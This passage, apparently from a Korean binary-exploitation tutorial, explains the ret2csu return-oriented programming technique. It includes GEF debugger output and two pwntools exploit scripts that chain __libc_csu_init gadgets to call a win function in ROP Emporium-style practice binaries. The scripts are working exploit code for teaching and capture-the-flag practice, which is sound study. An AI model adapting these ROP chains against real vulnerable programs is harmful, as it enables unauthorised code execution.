[r12 + rbx*8]는 호출 가능한 함수를 가리키는 주소를 가리켜야 합니다 (아이디어가 없고 pie가 없는 경우, _init 함수를 사용할 수 있습니다):
만약 _init이 0x400560에 있다면, GEF를 사용하여 메모리에서 해당 함수를 가리키는 포인터를 찾고 [r12 + rbx*8]가 해당 포인터를 가리키는 주소가 되도록 합니다:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.htmlgef➤search-pattern0x400560[+] Searching '\x60\x05\x40'in memory[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x0x400e38-0x400e44→"\x60\x05\x40[...]"[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--0x600e38-0x600e44→"\x60\x05\x40[...]"
rbp 및 rbx는 동일한 값을 가져야 점프를 피할 수 있습니다.
고려해야 할 생략된 팝이 있습니다.
RDI와 RSI
Ret2csu 가젯에서 **rdi**와 **rsi**를 제어하는 또 다른 방법은 특정 오프셋에 액세스하는 것입니다:
자세한 정보는 이 페이지를 확인하세요:
예
콜 사용
시스템 호출을 하거나 write()와 같은 함수를 호출하려면 rdx 및 rsi 레지스터에 특정 값이 필요합니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만 찾을 수 없습니다.
여기서 ret2csu가 필요합니다:
레지스터 설정: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다.
두 번째 가젯 사용: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 r14 및 r13에서 rdx 및 rsi로 값을 이동할 수 있으며 함수 호출을 위한 매개변수를 준비할 수 있습니다. 더불어 r15 및 rbx를 제어하여 계산하고 [r15 + rbx*8]에 배치한 주소에 있는 함수를 호출할 수 있습니다.
from pwn import*elf = context.binary =ELF('./vuln')p =process()POP_CHAIN =0x00401224# pop r12, r13, r14, r15, retREG_CALL =0x00401208# rdx, rsi, edi, call [r15 + rbx*8]RW_LOC =0x00404028rop.raw('A'*40)rop.gets(RW_LOC)rop.raw(POP_CHAIN)rop.raw(0)# r12rop.raw(0)# r13rop.raw(0xdeadbeefcafed00d)# r14 - popped into RDX!rop.raw(RW_LOC)# r15 - holds location of called function!rop.raw(REG_CALL)# all the movs, plus the callp.sendlineafter('me\n', rop.chain())p.sendline(p64(elf.sym['win']))# send to gets() so it's writtenprint(p.recvline())# should receive "Awesome work!"
이전 exploit은 **RCE**를 수행하는 것이 아니라, **win**이라는 함수를 호출하기 위한 것입니다 (win의 주소를 stdin에서 gets를 호출하여 ROP 체인에 저장하고 r15에 저장).
호출 우회 및 ret 도달
다음 exploit은 이 페이지에서 추출되었으며 ret2csu를 사용하지만 호출 대신 비교를 우회하고 호출 후 ret에 도달합니다:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/from pwn import*# Establish the target processtarget =process('./ret2csu')#gdb.attach(target, gdbscript = 'b * 0x4007b0')# Our two __libc_csu_init rop gadgetscsuGadget0 =p64(0x40089a)csuGadget1 =p64(0x400880)# Address of ret2win and _init pointerret2win =p64(0x4007b1)initPtr =p64(0x600e38)# Padding from start of input to saved return addresspayload ="0"*0x28# Our first gadget, and the values to be popped from the stack# Also a value of 0xf means it is a filler valuepayload += csuGadget0payload +=p64(0x0)# RBXpayload +=p64(0x1)# RBPpayload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`payload +=p64(0xf)# R13payload +=p64(0xf)# R14payload +=p64(0xdeadcafebabebeef)# R15 > soon to be RDX# Our second gadget, and the corresponding stack valuespayload += csuGadget1payload +=p64(0xf)# qword value for the ADD RSP, 0x8 adjustmentpayload +=p64(0xf)# RBXpayload +=p64(0xf)# RBPpayload +=p64(0xf)# R12payload +=p64(0xf)# R13payload +=p64(0xf)# R14payload +=p64(0xf)# R15# Finally the address of ret2winpayload += ret2win# Send the payloadtarget.sendline(payload)target.interactive()
왜 libc를 직접 사용하지 않는가?
보통 이러한 경우는 ret2plt + ret2lib에 취약하지만, 때로는 libc에서 직접 찾은 가젯으로는 쉽게 제어할 수 없는 매개변수를 더 제어해야 할 수도 있습니다. 예를 들어 write() 함수는 세 개의 매개변수가 필요하며, 이를 직접 설정하는 가젯을 찾는 것이 불가능할 수도 있습니다.